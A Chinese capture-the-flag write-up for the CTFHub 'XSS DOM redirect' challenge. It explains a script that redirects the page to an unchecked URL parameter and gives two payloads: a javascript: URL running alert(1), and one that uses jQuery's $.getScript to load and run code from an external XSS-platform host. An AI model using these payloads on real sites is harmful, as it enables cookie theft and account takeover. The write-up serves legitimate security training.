CTFHub XSS DOM跳转 WriteUp

前文:DOM反射XSS

进入网站,直接查看源代码,下面是关键代码,这里有xss漏洞:

<script>
        var target = location.search.split("=")
        if (target[0].slice(1) == "jumpto") {
            location.href = target[1];
        }
</script>

这段代码的作用是从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL。

具体而言,它使用location.search获取查询字符串部分(例如:“?jumpto=http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/”),然后使用.split("=")将其拆分为参数名和参数值的数组。

然后,它检查target[0].slice(1)是否等于"jumpto",这是因为target[0]包含"?“字符,使用.slice(1)去掉”?"。如果相等,就使用location.href将页面重定向到target[1],也就是参数值所指定的URL。

注意!当你将类似于 location.href = "javascript:alert('xss')" 这样的代码赋值给 location.href 时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。

所以我们可以构造如下链接:执行js语句

http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800?jumpto=javascript:alert(1)

CTFHub XSS DOM跳转 WriteUp_第1张图片

然后构造链接来加载xss平台的代码

http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//xsscom.com//74WcPm")

这段代码使用了 jQuery 的 $.getScript() 函数来异步加载并执行来自 xss平台 的 js 脚本,使用前提是网站引用了jQuery。
CTFHub XSS DOM跳转 WriteUp_第2张图片

CTFHub XSS DOM跳转 WriteUp_第3张图片

执行成功,收到flag,提交成功

CTFHub XSS DOM跳转 WriteUp_第4张图片

成功完成CTFHub的xss技能树所有挑战

CTFHub XSS DOM跳转 WriteUp_第5张图片

参考文章:xss如何加载远程js的一些tips

你可能感兴趣的:(xss,url跳转,javascript,漏洞,web安全,网络安全,安全)